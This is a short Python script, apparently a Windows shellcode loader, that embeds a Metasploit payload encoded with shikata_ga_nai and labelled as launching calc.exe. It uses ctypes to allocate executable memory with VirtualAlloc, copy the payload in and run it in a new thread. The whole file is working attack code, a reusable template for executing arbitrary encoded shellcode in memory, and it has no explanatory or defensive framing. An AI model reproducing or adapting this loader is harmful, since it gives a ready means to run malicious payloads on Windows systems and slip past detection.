PyShellCode

#!/usr/bin/python
import ctypes
from ctypes import c_int, pointer

#ShellCode
#x86/shikata_ga_nai succeeded with size 227 (iteration=1)
#Metasploit windows/exec calc.exe
shellcode = bytearray(
"\xdb\xc3\xd9\x74\x24\xf4\xbe\xe8\x5a\x27\x13\x5f\x31\xc9"
"\xb1\x33\x31\x77\x17\x83\xc7\x04\x03\x9f\x49\xc5\xe6\xa3"
"\x86\x80\x09\x5b\x57\xf3\x80\xbe\x66\x21\xf6\xcb\xdb\xf5"
"\x7c\x99\xd7\x7e\xd0\x09\x63\xf2\xfd\x3e\xc4\xb9\xdb\x71"
"\xd5\x0f\xe4\xdd\x15\x11\x98\x1f\x4a\xf1\xa1\xd0\x9f\xf0"
"\xe6\x0c\x6f\xa0\xbf\x5b\xc2\x55\xcb\x19\xdf\x54\x1b\x16"
"\x5f\x2f\x1e\xe8\x14\x85\x21\x38\x84\x92\x6a\xa0\xae\xfd"
"\x4a\xd1\x63\x1e\xb6\x98\x08\xd5\x4c\x1b\xd9\x27\xac\x2a"
"\x25\xeb\x93\x83\xa8\xf5\xd4\x23\x53\x80\x2e\x50\xee\x93"
"\xf4\x2b\x34\x11\xe9\x8b\xbf\x81\xc9\x2a\x13\x57\x99\x20"
"\xd8\x13\xc5\x24\xdf\xf0\x7d\x50\x54\xf7\x51\xd1\x2e\xdc"
"\x75\xba\xf5\x7d\x2f\x66\x5b\x81\x2f\xce\x04\x27\x3b\xfc"
"\x51\x51\x66\x6a\xa7\xd3\x1c\xd3\xa7\xeb\x1e\x73\xc0\xda"
"\x95\x1c\x97\xe2\x7f\x59\x67\xa9\x22\xcb\xe0\x74\xb7\x4e"
"\x6d\x87\x6d\x8c\x88\x04\x84\x6c\x6f\x14\xed\x69\x2b\x92"
"\x1d\x03\x24\x77\x22\xb0\x45\x52\x41\x57\xd6\x3e\xa8\xf2"
"\x5e\xa4\xb4")

ptr = ctypes.windll.kernel32.VirtualAlloc(c_int(0),c_int(len(shellcode)),c_int(0x3000),c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(c_int(ptr),buf,c_int(len(shellcode)))
ht = ctypes.windll.kernel32.CreateThread(c_int(0),c_int(0),c_int(ptr),c_int(0),c_int(0),pointer(c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(c_int(ht),c_int(-1))